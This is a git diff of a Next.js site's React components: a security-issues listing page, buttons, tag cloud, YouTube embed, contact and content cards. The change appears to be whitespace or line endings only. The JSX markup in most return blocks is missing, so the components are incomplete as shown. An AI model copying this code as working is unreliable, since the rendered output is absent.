-import Breadcrumbs from "../navigation/Breadcrumbs";
-import { SecurityIssuesTable, TableReleases } from "./SecurityIssuesTable";
-import { Input } from "@/components/ui/input";
-import { Search } from "lucide-react";
-import { useState, useEffect } from "react";
-import { SecurityOrderBy,TSecurityIssue } from '@/services/docs/getSecurityIssues/types';
-import { SecurityIssueDetail } from "./SecurityIssueDetail";
-export default function AllSecurityIssues({ sideNav, slug }) {
- const router = useRouter();
- const searchParams = useSearchParams();
- const [page, setPage] = useState(1);
- const [orderBy, setOrderBy] = useState(SecurityOrderBy.DEFAULT);
- const [issueNumber, setIssueNumber] = useState("");
- const [token, setToken] = useState("");
- useEffect(() => {
- const orderByValue = searchParams.get("orderBy");
- setOrderBy(orderByValue === "2"
- ? SecurityOrderBy.SEVERITY
- : orderByValue === "1"
- ? SecurityOrderBy.FIX_VERSION
- : SecurityOrderBy.DEFAULT);
-
- const issueNumber = searchParams.get("issueNumber");
- const sanitizedIssueNumber = issueNumber?.match(/^[a-zA-Z0-9-]+$/) ? issueNumber : null;
- setIssueNumber(sanitizedIssueNumber);
- setPage(searchParams.get("page"));
- const token = searchParams.get("token");
- const sanitizedToken = token?.match(/^[a-zA-Z0-9-]+$/) ? token : null;
- setToken(sanitizedToken);
- }, [searchParams]);
-
-
- const showDetail = issueNumber && issueNumber != "" && issueNumber != undefined && issueNumber != null;
-
- const breadcrumbs = sideNav[0]?.dotcmsdocumentationchildren || [];
- const appendItems = (showDetail) ? [{title: issueNumber, urlTitle: issueNumber}] : [];
-
-
-
- return (
- <>
-
-
-
-
-
-
- {showDetail && (
-
- )}
-
- {!showDetail && (
-
- ) }
-
-
-
- >
- );
-}
+"use client";
+
+import { useSearchParams, useRouter } from "next/navigation";
+import Breadcrumbs from "../navigation/Breadcrumbs";
+import { SecurityIssuesTable, TableReleases } from "./SecurityIssuesTable";
+import { Input } from "@/components/ui/input";
+import { Search } from "lucide-react";
+import { useState, useEffect } from "react";
+import { SecurityOrderBy,TSecurityIssue } from '@/services/docs/getSecurityIssues/types';
+import { SecurityIssueDetail } from "./SecurityIssueDetail";
+export default function AllSecurityIssues({ sideNav, slug }) {
+ const router = useRouter();
+ const searchParams = useSearchParams();
+ const [page, setPage] = useState(1);
+ const [orderBy, setOrderBy] = useState(SecurityOrderBy.DEFAULT);
+ const [issueNumber, setIssueNumber] = useState("");
+ const [token, setToken] = useState("");
+ useEffect(() => {
+ const orderByValue = searchParams.get("orderBy");
+ setOrderBy(orderByValue === "2"
+ ? SecurityOrderBy.SEVERITY
+ : orderByValue === "1"
+ ? SecurityOrderBy.FIX_VERSION
+ : SecurityOrderBy.DEFAULT);
+
+ const issueNumber = searchParams.get("issueNumber");
+ const sanitizedIssueNumber = issueNumber?.match(/^[a-zA-Z0-9-]+$/) ? issueNumber : null;
+ setIssueNumber(sanitizedIssueNumber);
+ setPage(searchParams.get("page"));
+ const token = searchParams.get("token");
+ const sanitizedToken = token?.match(/^[a-zA-Z0-9-]+$/) ? token : null;
+ setToken(sanitizedToken);
+ }, [searchParams]);
+
+
+ const showDetail = issueNumber && issueNumber != "" && issueNumber != undefined && issueNumber != null;
+
+ const breadcrumbs = sideNav[0]?.dotcmsdocumentationchildren || [];
+ const appendItems = (showDetail) ? [{title: issueNumber, urlTitle: issueNumber}] : [];
+
+
+
+ return (
+ <>
+
+
+
+
+
+
+ {showDetail && (
+
+ )}
+
+ {!showDetail && (
+
+ ) }
+
+
+
+ >
+ );
+}
diff --git a/components/shared/CallToActionButton.js b/components/shared/CallToActionButton.js
index 442dab0..39c43b4 100644
--- a/components/shared/CallToActionButton.js
+++ b/components/shared/CallToActionButton.js
@@ -1,80 +1,80 @@
-import { cn } from '@/app/utils/cn';
-import { IconCircleChevronRight } from '@tabler/icons-react';
-import Link from 'next/link';
-
-function PrimaryButton({ url, title, children, className }) {
- const twClasses = cn('btn btn-dark text-white hover:text-blue hover:bg-white');
- const twDark = cn(
- `dark:btn-light dark:text-blue-700 dark:btn-light-chevron dark:hover:border-white dark:hover:bg-black dark:hover:text-white`
- );
-
- return (
-
- {children ?? title}
-
-
- );
-}
-
-function SecondaryButton({ url, title, children, className }) {
- const twClasses = cn(
- `btn border-indigo-700 bg-indigo-700 text-white hover:border-indigo-700 hover:text-indigo-700 hover:bg-white`
- );
-
- const twDark = cn(
- `dark:text-indigo-700 dark:border-white dark:bg-white dark:hover:bg-indigo-700 dark:hover:text-white`
- );
-
- return (
-
- {children ?? title}
-
-
- );
-}
-
-export function LinkButton({ url, title, children, className }) {
- const twClasses = cn(
- `text-blue-700 bg-transparent border-blue-700 w-fit btn dark:text-blue-700 hover:bg-blue-700 hover:text-white`
- );
- const twDark = cn(
- `dark:text-white dark:border-white dark:hover:bg-white dark:hover:text-blue-700`
- );
-
- return (
-
- {children ?? title}
-
- );
-}
-
-export function CallToActionButton({ buttonType, children, className, ...props }) {
- const buttons = {
- primary: PrimaryButton,
- secondary: SecondaryButton,
- link: LinkButton
- };
-
- const Button = buttons[buttonType] ?? PrimaryButton;
- const commonClasses = cn(
- `flex gap-2 justify-center items-center w-fit border border-2 border-solid transition-colors duration-300`
- );
-
- return (
-
- {children}
-
- );
-}
+import { cn } from '@/app/utils/cn';
+import { IconCircleChevronRight } from '@tabler/icons-react';
+import Link from 'next/link';
+
+function PrimaryButton({ url, title, children, className }) {
+ const twClasses = cn('btn btn-dark text-white hover:text-blue hover:bg-white');
+ const twDark = cn(
+ `dark:btn-light dark:text-blue-700 dark:btn-light-chevron dark:hover:border-white dark:hover:bg-black dark:hover:text-white`
+ );
+
+ return (
+
+ {children ?? title}
+
+
+ );
+}
+
+function SecondaryButton({ url, title, children, className }) {
+ const twClasses = cn(
+ `btn border-indigo-700 bg-indigo-700 text-white hover:border-indigo-700 hover:text-indigo-700 hover:bg-white`
+ );
+
+ const twDark = cn(
+ `dark:text-indigo-700 dark:border-white dark:bg-white dark:hover:bg-indigo-700 dark:hover:text-white`
+ );
+
+ return (
+
+ {children ?? title}
+
+
+ );
+}
+
+export function LinkButton({ url, title, children, className }) {
+ const twClasses = cn(
+ `text-blue-700 bg-transparent border-blue-700 w-fit btn dark:text-blue-700 hover:bg-blue-700 hover:text-white`
+ );
+ const twDark = cn(
+ `dark:text-white dark:border-white dark:hover:bg-white dark:hover:text-blue-700`
+ );
+
+ return (
+
+ {children ?? title}
+
+ );
+}
+
+export function CallToActionButton({ buttonType, children, className, ...props }) {
+ const buttons = {
+ primary: PrimaryButton,
+ secondary: SecondaryButton,
+ link: LinkButton
+ };
+
+ const Button = buttons[buttonType] ?? PrimaryButton;
+ const commonClasses = cn(
+ `flex gap-2 justify-center items-center w-fit border border-2 border-solid transition-colors duration-300`
+ );
+
+ return (
+
+ {children}
+
+ );
+}
diff --git a/components/shared/TagCloud.js b/components/shared/TagCloud.js
index 8fddd31..b4c6e32 100644
--- a/components/shared/TagCloud.js
+++ b/components/shared/TagCloud.js
@@ -1,70 +1,70 @@
-"use client";
-
-import React from 'react';
-import Link from 'next/link';
-import { useSearchParams } from 'next/navigation';
-import { cn } from "@/util/utils";
-
-const TagCloud = (tags) => {
- const searchParams = useSearchParams();
- const currentTag = searchParams.get('tagFilter');
-
- const maxFrequency = Math.max(...tags.tags.map(tag => tag.doc_count));
-
- // Calculate size classes based on frequency
- const getTagSize = (frequency, maxFrequency) => {
- const ratio = frequency / maxFrequency;
-
- if (ratio > 0.8) return 'text-lg font-semibold';
- if (ratio > 0.6) return 'text-base font-medium';
- if (ratio > 0.4) return 'text-sm';
- return 'text-xs';
- };
-
- const buildUrl = (tagKey = null) => {
- const params = new URLSearchParams();
- // Preserve all existing params except tagFilter
- for (const [key, value] of searchParams.entries()) {
- if (key !== 'tagFilter' && key !== 'page') {
- params.append(key, value);
- }
- }
- // Add the new tag if provided
- if (tagKey) {
- params.append('tagFilter', tagKey);
- }
- return `?${params.toString()}`;
- };
-
- return (
-
-
Popular Tags
-
- {tags.tags.map((tag) => {
- const isActive = currentTag === tag.key;
-
- return (
-
- {tag.key}
-
- ({tag.doc_count})
-
-
- );
- })}
-
-
- );
-};
-
+"use client";
+
+import React from 'react';
+import Link from 'next/link';
+import { useSearchParams } from 'next/navigation';
+import { cn } from "@/util/utils";
+
+const TagCloud = (tags) => {
+ const searchParams = useSearchParams();
+ const currentTag = searchParams.get('tagFilter');
+
+ const maxFrequency = Math.max(...tags.tags.map(tag => tag.doc_count));
+
+ // Calculate size classes based on frequency
+ const getTagSize = (frequency, maxFrequency) => {
+ const ratio = frequency / maxFrequency;
+
+ if (ratio > 0.8) return 'text-lg font-semibold';
+ if (ratio > 0.6) return 'text-base font-medium';
+ if (ratio > 0.4) return 'text-sm';
+ return 'text-xs';
+ };
+
+ const buildUrl = (tagKey = null) => {
+ const params = new URLSearchParams();
+ // Preserve all existing params except tagFilter
+ for (const [key, value] of searchParams.entries()) {
+ if (key !== 'tagFilter' && key !== 'page') {
+ params.append(key, value);
+ }
+ }
+ // Add the new tag if provided
+ if (tagKey) {
+ params.append('tagFilter', tagKey);
+ }
+ return `?${params.toString()}`;
+ };
+
+ return (
+
+
Popular Tags
+
+ {tags.tags.map((tag) => {
+ const isActive = currentTag === tag.key;
+
+ return (
+
+ {tag.key}
+
+ ({tag.doc_count})
+
+
+ );
+ })}
+
+
+ );
+};
+
export default TagCloud;
\ No newline at end of file
diff --git a/components/shared/TagList.js b/components/shared/TagList.js
index 1255289..9ea6768 100644
--- a/components/shared/TagList.js
+++ b/components/shared/TagList.js
@@ -1,18 +1,18 @@
-import React from 'react';
-import Tag from './tag';
-
-const TagList = ({ tags, hrefMode }) => {
- return (
-
- {tags.map(({ text, ...rest }) => (
-
-
- {text}
-
-
- ))}
-
- );
-};
-
-export default TagList;
+import React from 'react';
+import Tag from './tag';
+
+const TagList = ({ tags, hrefMode }) => {
+ return (
+
+ {tags.map(({ text, ...rest }) => (
+
+
+ {text}
+
+
+ ))}
+
+ );
+};
+
+export default TagList;
diff --git a/components/shared/Youtube.tsx b/components/shared/Youtube.tsx
index a7e6086..af35e00 100644
--- a/components/shared/Youtube.tsx
+++ b/components/shared/Youtube.tsx
@@ -1,142 +1,142 @@
-"use client";
-
-import React from 'react';
-import { cn } from '@/util/utils';
-
-interface YoutubeProps {
- attrs?: {
- src?: string;
- width?: number;
- height?: number;
- start?: number;
- data?: {
- srcYoutube?: string;
- widthYoutube?: number;
- heightYoutube?: number;
- positionCenter?: string | boolean;
- title?: string;
- paragraphSpacing?: string;
- contentType?: string;
- [key: string]: any;
- };
- };
-}
-
-/**
- * Extracts video ID and start time from YouTube URL and converts it to embed format
- */
-const getYoutubeEmbedUrl = (url: string, startTime?: number): string => {
- if (!url) return '';
-
- // Extract video ID from various YouTube URL formats
- const patterns = [
- /(?:youtube\.com\/watch\?v=|youtu\.be\/|youtube\.com\/embed\/)([^&\n?#]+)/,
- /youtube\.com\/watch\?.*v=([^&\n?#]+)/,
- ];
-
- let videoId = '';
- for (const pattern of patterns) {
- const match = url.match(pattern);
- if (match && match[1]) {
- videoId = match[1];
- break;
- }
- }
-
- if (!videoId) return url;
-
- // Extract start time from URL if present (time_continue parameter)
- let extractedStartTime = startTime;
- if (!extractedStartTime) {
- const timeMatch = url.match(/[?&]time_continue=(\d+)/);
- if (timeMatch && timeMatch[1]) {
- extractedStartTime = parseInt(timeMatch[1], 10);
- }
- }
-
- // Build embed URL with optional start time
- let embedUrl = `https://www.youtube.com/embed/${videoId}`;
- const params = new URLSearchParams();
-
- if (extractedStartTime) {
- params.append('start', extractedStartTime.toString());
- }
-
- // Add autoplay=0 and other standard parameters
- params.append('rel', '0');
- params.append('modestbranding', '1');
-
- const queryString = params.toString();
- return queryString ? `${embedUrl}?${queryString}` : embedUrl;
-};
-
-/**
- * YouTube component that handles both `youtube` type and `Youtube` content type
- * from the dotBlockEditor
- */
-const YoutubeComponent: React.FC = ({ attrs }) => {
- if (!attrs) {
- return null;
- }
-
- // Handle dotContent format (Youtube content type)
- const isDotContent = attrs.data?.srcYoutube || attrs.data?.contentType === 'Youtube';
- const youtubeUrl = isDotContent ? attrs.data?.srcYoutube : attrs.src;
- const width = isDotContent ? attrs.data?.widthYoutube : attrs.width;
- const height = isDotContent ? attrs.data?.heightYoutube : attrs.height;
- const startTime = isDotContent ? undefined : attrs.start; // dotContent handles start time in URL
- const title = isDotContent ? attrs.data?.title : undefined;
- const spacing = isDotContent ? attrs.data?.paragraphSpacing : undefined;
-
- if (!youtubeUrl) {
- return null;
- }
-
- const embedUrl = getYoutubeEmbedUrl(youtubeUrl, startTime);
- // Always use 16:9 aspect ratio (YouTube standard)
- const aspectRatio = 56.25; // 9/16 * 100
-
- // Container classes with spacing (full width for better video display)
- const containerClasses = cn(
- "relative group w-full ",
- spacing === "nospace" ? "my-0" : "my-8"
- );
-
- // Wrapper classes for responsive behavior
- const wrapperClasses = cn(
- "relative overflow-hidden rounded-lg shadow-lg bg-black",
- "hover:shadow-xl transition-shadow duration-300",
- "border border-gray-200 dark:border-gray-800"
- );
-
- return (
-
- {title && (
-
- {title}
-
- )}
-
-
-
- );
-};
-
-export default YoutubeComponent;
+"use client";
+
+import React from 'react';
+import { cn } from '@/util/utils';
+
+interface YoutubeProps {
+ attrs?: {
+ src?: string;
+ width?: number;
+ height?: number;
+ start?: number;
+ data?: {
+ srcYoutube?: string;
+ widthYoutube?: number;
+ heightYoutube?: number;
+ positionCenter?: string | boolean;
+ title?: string;
+ paragraphSpacing?: string;
+ contentType?: string;
+ [key: string]: any;
+ };
+ };
+}
+
+/**
+ * Extracts video ID and start time from YouTube URL and converts it to embed format
+ */
+const getYoutubeEmbedUrl = (url: string, startTime?: number): string => {
+ if (!url) return '';
+
+ // Extract video ID from various YouTube URL formats
+ const patterns = [
+ /(?:youtube\.com\/watch\?v=|youtu\.be\/|youtube\.com\/embed\/)([^&\n?#]+)/,
+ /youtube\.com\/watch\?.*v=([^&\n?#]+)/,
+ ];
+
+ let videoId = '';
+ for (const pattern of patterns) {
+ const match = url.match(pattern);
+ if (match && match[1]) {
+ videoId = match[1];
+ break;
+ }
+ }
+
+ if (!videoId) return url;
+
+ // Extract start time from URL if present (time_continue parameter)
+ let extractedStartTime = startTime;
+ if (!extractedStartTime) {
+ const timeMatch = url.match(/[?&]time_continue=(\d+)/);
+ if (timeMatch && timeMatch[1]) {
+ extractedStartTime = parseInt(timeMatch[1], 10);
+ }
+ }
+
+ // Build embed URL with optional start time
+ let embedUrl = `https://www.youtube.com/embed/${videoId}`;
+ const params = new URLSearchParams();
+
+ if (extractedStartTime) {
+ params.append('start', extractedStartTime.toString());
+ }
+
+ // Add autoplay=0 and other standard parameters
+ params.append('rel', '0');
+ params.append('modestbranding', '1');
+
+ const queryString = params.toString();
+ return queryString ? `${embedUrl}?${queryString}` : embedUrl;
+};
+
+/**
+ * YouTube component that handles both `youtube` type and `Youtube` content type
+ * from the dotBlockEditor
+ */
+const YoutubeComponent: React.FC = ({ attrs }) => {
+ if (!attrs) {
+ return null;
+ }
+
+ // Handle dotContent format (Youtube content type)
+ const isDotContent = attrs.data?.srcYoutube || attrs.data?.contentType === 'Youtube';
+ const youtubeUrl = isDotContent ? attrs.data?.srcYoutube : attrs.src;
+ const width = isDotContent ? attrs.data?.widthYoutube : attrs.width;
+ const height = isDotContent ? attrs.data?.heightYoutube : attrs.height;
+ const startTime = isDotContent ? undefined : attrs.start; // dotContent handles start time in URL
+ const title = isDotContent ? attrs.data?.title : undefined;
+ const spacing = isDotContent ? attrs.data?.paragraphSpacing : undefined;
+
+ if (!youtubeUrl) {
+ return null;
+ }
+
+ const embedUrl = getYoutubeEmbedUrl(youtubeUrl, startTime);
+ // Always use 16:9 aspect ratio (YouTube standard)
+ const aspectRatio = 56.25; // 9/16 * 100
+
+ // Container classes with spacing (full width for better video display)
+ const containerClasses = cn(
+ "relative group w-full ",
+ spacing === "nospace" ? "my-0" : "my-8"
+ );
+
+ // Wrapper classes for responsive behavior
+ const wrapperClasses = cn(
+ "relative overflow-hidden rounded-lg shadow-lg bg-black",
+ "hover:shadow-xl transition-shadow duration-300",
+ "border border-gray-200 dark:border-gray-800"
+ );
+
+ return (
+
+ {title && (
+
+ {title}
+
+ )}
+
+
+
+ );
+};
+
+export default YoutubeComponent;
diff --git a/components/shared/author.js b/components/shared/author.js
index 5f3825c..0259463 100644
--- a/components/shared/author.js
+++ b/components/shared/author.js
@@ -1,24 +1,24 @@
-import React from 'react';
-import Image from 'next/image';
-
-function Author({ author }) {
- return (
-
-
-
-
- {author?.firstName} {author?.lastName}
-
-
{author?.title}
-
-
- );
-}
-
-export default Author;
+import React from 'react';
+import Image from 'next/image';
+
+function Author({ author }) {
+ return (
+
+
+
+
+ {author?.firstName} {author?.lastName}
+
+
{author?.title}
+
+
+ );
+}
+
+export default Author;
diff --git a/components/shared/badge.js b/components/shared/badge.js
index 32da017..c6d2e31 100644
--- a/components/shared/badge.js
+++ b/components/shared/badge.js
@@ -1,12 +1,12 @@
-import { cn } from '@/app/utils/cn';
-
-function Badge({ children, className = 'uppercase' }) {
- const finalClasses = cn(
- 'py-1 px-4 text-sm font-semibold rounded-full text-section-color bg-section-bg text-center',
- className
- );
-
- return {children} ;
-}
-
-export default Badge;
+import { cn } from '@/app/utils/cn';
+
+function Badge({ children, className = 'uppercase' }) {
+ const finalClasses = cn(
+ 'py-1 px-4 text-sm font-semibold rounded-full text-section-color bg-section-bg text-center',
+ className
+ );
+
+ return {children} ;
+}
+
+export default Badge;
diff --git a/components/shared/blockEditorContentlet.js b/components/shared/blockEditorContentlet.js
index 9ff819e..2c21773 100644
--- a/components/shared/blockEditorContentlet.js
+++ b/components/shared/blockEditorContentlet.js
@@ -1,32 +1,32 @@
-'use client';
-
-import React from 'react';
-import Image from 'next/image';
-import { trimTextToFirstDot } from '@/app/utils/trimTextToFirstDot';
-import Link from 'next/link';
-
-function BlockEditorContentlet({ contentType, url, image, title, description }) {
- return (
-
-
-
-
-
-
-
{contentType}
-
{title}
-
- {trimTextToFirstDot(description)}
-
-
-
-
- );
-}
-
-export default BlockEditorContentlet;
+'use client';
+
+import React from 'react';
+import Image from 'next/image';
+import { trimTextToFirstDot } from '@/app/utils/trimTextToFirstDot';
+import Link from 'next/link';
+
+function BlockEditorContentlet({ contentType, url, image, title, description }) {
+ return (
+
+
+
+
+
+
+
{contentType}
+
{title}
+
+ {trimTextToFirstDot(description)}
+
+
+
+
+ );
+}
+
+export default BlockEditorContentlet;
diff --git a/components/shared/categoryButton.js b/components/shared/categoryButton.js
index 9d4e99b..02eeba1 100644
--- a/components/shared/categoryButton.js
+++ b/components/shared/categoryButton.js
@@ -1,18 +1,18 @@
-import React from 'react';
-import { cn } from '@/app/utils/cn';
-
-function CategoryButton({ children, onClick = () => {}, active = false }) {
- return (
-
- {children}
-
- );
-}
-
-export default CategoryButton;
+import React from 'react';
+import { cn } from '@/app/utils/cn';
+
+function CategoryButton({ children, onClick = () => {}, active = false }) {
+ return (
+
+ {children}
+
+ );
+}
+
+export default CategoryButton;
diff --git a/components/shared/contact/contactInfo.js b/components/shared/contact/contactInfo.js
index 8ed1c6f..37d66b0 100644
--- a/components/shared/contact/contactInfo.js
+++ b/components/shared/contact/contactInfo.js
@@ -1,30 +1,30 @@
-import ContactOptions from './contactOptions';
-
-function ContactInfo({ contactBlocks }) {
- return (
-
- {contactBlocks.map((block) => (
-
-
- {block.heading}
-
- {block.data.map((data, i) => {
- const ContactOption = ContactOptions[data.type];
- return (
-
-
-
- );
- })}
-
-
-
- ))}
-
- );
-}
-
-export default ContactInfo;
+import ContactOptions from './contactOptions';
+
+function ContactInfo({ contactBlocks }) {
+ return (
+
+ {contactBlocks.map((block) => (
+
+
+ {block.heading}
+
+ {block.data.map((data, i) => {
+ const ContactOption = ContactOptions[data.type];
+ return (
+
+
+
+ );
+ })}
+
+
+
+ ))}
+
+ );
+}
+
+export default ContactInfo;
diff --git a/components/shared/contact/contactOptions.js b/components/shared/contact/contactOptions.js
index 6b28470..0bf9e51 100644
--- a/components/shared/contact/contactOptions.js
+++ b/components/shared/contact/contactOptions.js
@@ -1,53 +1,53 @@
-import Image from 'next/image';
-import ContentWithIcon from '../contentWithIcon';
-
-const ContactOptions = {
- phone: ({ phone, label, number }) => (
-
-
- {phone}
-
-
- ),
- mail: ({ mail }) => (
-
- {mail}
-
- ),
- address: ({ address, icon }) => {
- const isMultiline = address.includes('\n');
- const splittedAddress = address.split('\n');
-
- return isMultiline ? (
-
-
-
- {splittedAddress[0]}
- {splittedAddress.slice(1).map((line, i) => (
-
- {line}
-
- ))}
-
- ) : (
-
- {address}
-
- );
- },
- link: ({ link, icon, label }) => (
-
-
- {label ?? link}
-
-
- )
-};
-
-export default ContactOptions;
+import Image from 'next/image';
+import ContentWithIcon from '../contentWithIcon';
+
+const ContactOptions = {
+ phone: ({ phone, label, number }) => (
+
+
+ {phone}
+
+
+ ),
+ mail: ({ mail }) => (
+
+ {mail}
+
+ ),
+ address: ({ address, icon }) => {
+ const isMultiline = address.includes('\n');
+ const splittedAddress = address.split('\n');
+
+ return isMultiline ? (
+
+
+
+ {splittedAddress[0]}
+ {splittedAddress.slice(1).map((line, i) => (
+
+ {line}
+
+ ))}
+
+ ) : (
+
+ {address}
+
+ );
+ },
+ link: ({ link, icon, label }) => (
+
+
+ {label ?? link}
+
+
+ )
+};
+
+export default ContactOptions;
diff --git a/components/shared/contentWithIcon.js b/components/shared/contentWithIcon.js
index 89bbbcc..5acd3de 100644
--- a/components/shared/contentWithIcon.js
+++ b/components/shared/contentWithIcon.js
@@ -1,12 +1,12 @@
-import Image from 'next/image';
-
-function ContentWithIcon({ icon, children }) {
- return (
-
-
- {children}
-
- );
-}
-
-export default ContentWithIcon;
+import Image from 'next/image';
+
+function ContentWithIcon({ icon, children }) {
+ return (
+
+
+ {children}
+
+ );
+}
+
+export default ContentWithIcon;
diff --git a/components/shared/contentlet.js b/components/shared/contentlet.js
index 32785b8..fd0c1ef 100644
--- a/components/shared/contentlet.js
+++ b/components/shared/contentlet.js
@@ -1,32 +1,32 @@
-'use client';
-
-import { useEffect, useState } from 'react';
-import { isInsideEditor as isInsideEditorFn } from '@dotcms/client';
-
-function Contentlet({ contentlet, children }) {
- const [isInsideEditor, setIsInsideEditor] = useState(false);
-
- useEffect(() => {
- setIsInsideEditor(isInsideEditorFn());
- }, []);
-
- if (!contentlet || !isInsideEditor) {
- return children;
- }
-
- return (
-
- {children}
-
- );
-}
-
-export default Contentlet;
+'use client';
+
+import { useEffect, useState } from 'react';
+import { isInsideEditor as isInsideEditorFn } from '@dotcms/client';
+
+function Contentlet({ contentlet, children }) {
+ const [isInsideEditor, setIsInsideEditor] = useState(false);
+
+ useEffect(() => {
+ setIsInsideEditor(isInsideEditorFn());
+ }, []);
+
+ if (!contentlet || !isInsideEditor) {
+ return children;
+ }
+
+ return (
+
+ {children}
+
+ );
+}
+
+export default Contentlet;
diff --git a/components/shared/contentletCard.js b/components/shared/contentletCard.js
index a3e9efb..055d82b 100644
--- a/components/shared/contentletCard.js
+++ b/components/shared/contentletCard.js
@@ -1,56 +1,56 @@
-'use client';
-
-import React from 'react';
-import Link from 'next/link';
-
-import { trimTextToFirstDot } from '@/app/utils/trimTextToFirstDot';
-import { DotCardImage } from './dotCardImage';
-import { formatShotDate } from '@/app/utils/date.utils';
-
-function ContentletCard({
- contentlet,
- _mode = 'light', // To change the color of the text and the background
- showDate = true,
- showCategory = true,
- _showBackground = false, // To add background on study cases
- _borderPadding = false, // To add padding on study cases
- className = '',
- url
-}) {
- const { month, day, year } = formatShotDate(contentlet.publishDate);
- const firstCategory = contentlet.categories?.[0] ?? {};
- const firstCategoryName = Object.keys(firstCategory).reduce((acc, key) => {
- acc.push(firstCategory[key]);
- return acc;
- }, [])[0];
-
- return (
-
-
-
-
- {showDate && (
-
- {day}
-
- {month} {year}
-
-
- )}
-
-
- {showCategory && firstCategoryName && (
-
{firstCategoryName}
- )}
-
{contentlet.title}
-
- {/* TODO: We should use line-clap */}
- {trimTextToFirstDot(contentlet.teaser)}
-
-
-
-
- );
-}
-
-export default ContentletCard;
+'use client';
+
+import React from 'react';
+import Link from 'next/link';
+
+import { trimTextToFirstDot } from '@/app/utils/trimTextToFirstDot';
+import { DotCardImage } from './dotCardImage';
+import { formatShotDate } from '@/app/utils/date.utils';
+
+function ContentletCard({
+ contentlet,
+ _mode = 'light', // To change the color of the text and the background
+ showDate = true,
+ showCategory = true,
+ _showBackground = false, // To add background on study cases
+ _borderPadding = false, // To add padding on study cases
+ className = '',
+ url
+}) {
+ const { month, day, year } = formatShotDate(contentlet.publishDate);
+ const firstCategory = contentlet.categories?.[0] ?? {};
+ const firstCategoryName = Object.keys(firstCategory).reduce((acc, key) => {
+ acc.push(firstCategory[key]);
+ return acc;
+ }, [])[0];
+
+ return (
+
+
+
+
+ {showDate && (
+
+ {day}
+
+ {month} {year}
+
+
+ )}
+
+
+ {showCategory && firstCategoryName && (
+
{firstCategoryName}
+ )}
+
{contentlet.title}
+
+ {/* TODO: We should use line-clap */}
+ {trimTextToFirstDot(contentlet.teaser)}
+
+
+
+
+ );
+}
+
+export default ContentletCard;
diff --git a/components/shared/contentletCardInline.js b/components/shared/contentletCardInline.js
index bf364ff..91b3a2f 100644
--- a/components/shared/contentletCardInline.js
+++ b/components/shared/contentletCardInline.js
@@ -1,69 +1,69 @@
-'use client';
-
-import React from 'react';
-import { DotCardImage } from './dotCardImage';
-import { trimTextToFirstDot } from '@/app/utils/trimTextToFirstDot';
-import Link from 'next/link';
-import Contentlet from './contentlet';
-
-function ContentletCardInline({
- contentlet,
- showDate = true,
- showCategory = true,
- className = ''
-}) {
- const date = new Date(contentlet.publishDate);
- const formattedDate = date.toLocaleDateString('en-US', {
- month: 'short',
- day: 'numeric',
- year: '2-digit'
- });
-
- const [monthAndDay, year] = formattedDate.split(', ');
-
- const [month, day] = monthAndDay.split(' ');
-
- const firstCategory = contentlet.categories?.[0] ?? {};
-
- const firstCategoryName = Object.keys(firstCategory).reduce((acc, key) => {
- acc.push(firstCategory[key]);
- return acc;
- }, [])[0];
-
- return (
-
-
-
-
-
-
-
-
- {showDate && (
-
- {day}
-
- {month} {year}
-
-
- )}
-
-
- {showCategory && firstCategoryName && (
-
{firstCategoryName}
- )}
-
{contentlet.title}
-
- {trimTextToFirstDot(contentlet.teaser)}
-
-
-
-
-
- );
-}
-
-export default ContentletCardInline;
+'use client';
+
+import React from 'react';
+import { DotCardImage } from './dotCardImage';
+import { trimTextToFirstDot } from '@/app/utils/trimTextToFirstDot';
+import Link from 'next/link';
+import Contentlet from './contentlet';
+
+function ContentletCardInline({
+ contentlet,
+ showDate = true,
+ showCategory = true,
+ className = ''
+}) {
+ const date = new Date(contentlet.publishDate);
+ const formattedDate = date.toLocaleDateString('en-US', {
+ month: 'short',
+ day: 'numeric',
+ year: '2-digit'
+ });
+
+ const [monthAndDay, year] = formattedDate.split(', ');
+
+ const [month, day] = monthAndDay.split(' ');
+
+ const firstCategory = contentlet.categories?.[0] ?? {};
+
+ const firstCategoryName = Object.keys(firstCategory).reduce((acc, key) => {
+ acc.push(firstCategory[key]);
+ return acc;
+ }, [])[0];
+
+ return (
+
+
+
+
+
+
+
+
+ {showDate && (
+
+ {day}
+
+ {month} {year}
+
+
+ )}
+
+
+ {showCategory && firstCategoryName && (
+
{firstCategoryName}
+ )}
+
{contentlet.title}
+
+ {trimTextToFirstDot(contentlet.teaser)}
+
+
+
+
+
+ );
+}
+
+export default ContentletCardInline;
diff --git a/components/shared/contentletFilter.js b/components/shared/contentletFilter.js
index bca6347..ebc814b 100644
--- a/components/shared/contentletFilter.js
+++ b/components/shared/contentletFilter.js
@@ -1,169 +1,169 @@
-'use client';
-
-import { useEffect, useRef, useCallback, useState } from 'react';
-// import Image from 'next/image';
-import useCollection from '@/hooks/useCollection';
-
-import { ArrowDownIcon, SearchIcon } from './icons';
-import ListingContentlets from './listingContentlets';
-import CategoryButton from './categoryButton';
-
-export default function ContentletFilter({
- Card,
- limit = 9,
- contentType,
- queryConfig,
- categories = [],
- initialCollection
-}) {
- const { collection, setFilter, setPage, setSearch } = useCollection({
- limit,
- search: '',
- contentType,
- queryConfig,
- initialCollection
- });
-
- const loaderRef = useRef(null);
-
- const handleObserver = useCallback(
- (entries) => {
- const target = entries[0];
- if (target.isIntersecting && collection.total > collection.contentlets.length) {
- setPage((prevPage) => prevPage + 1);
- }
- },
- [collection.contentlets.length, collection.total, setPage]
- );
-
- useEffect(() => {
- const option = {
- root: null,
- rootMargin: '20px',
- threshold: 0.1
- };
- const observer = new IntersectionObserver(handleObserver, option);
- const currentLoaderRef = loaderRef.current;
- if (currentLoaderRef) observer.observe(currentLoaderRef);
-
- return () => {
- if (currentLoaderRef) observer.unobserve(currentLoaderRef);
- };
- }, [handleObserver]);
-
- return (
- <>
-
-
-
-
-
-
-
-
-
setSearch(e.target.value)}
- className="block size-full rounded-lg bg-blue-100 p-3 ps-11 text-sm text-blue-600 outline-none placeholder:text-blue-600"
- placeholder="Search in Insights"
- />
-
-
-
-
-
- {collection.total > collection.contentlets.length && (
-
-
- {collection.total > collection.contentlets.length && (
- Loading more...
- )}
-
- {/*
setPage((prevPage) => prevPage + 1)}>
- Load More
-
- */}
-
- )}
- >
- );
-}
-
-const CategoriesButtons = ({ categories, setFilter }) => {
- const [active, setActive] = useState('*');
- // Destructure the categories
- const { list = [], field } = categories;
- const allCategory = { key: '*', categoryName: 'All' };
-
- // Split the categories into main and more
- const mainCategories = [allCategory, ...list.slice(0, 3)];
- const moreCategories = list.slice(3);
-
- // Hook to manage the dropdown visibility
- const [showMore, setShowMore] = useState(false);
- const dropdownRef = useRef(null);
-
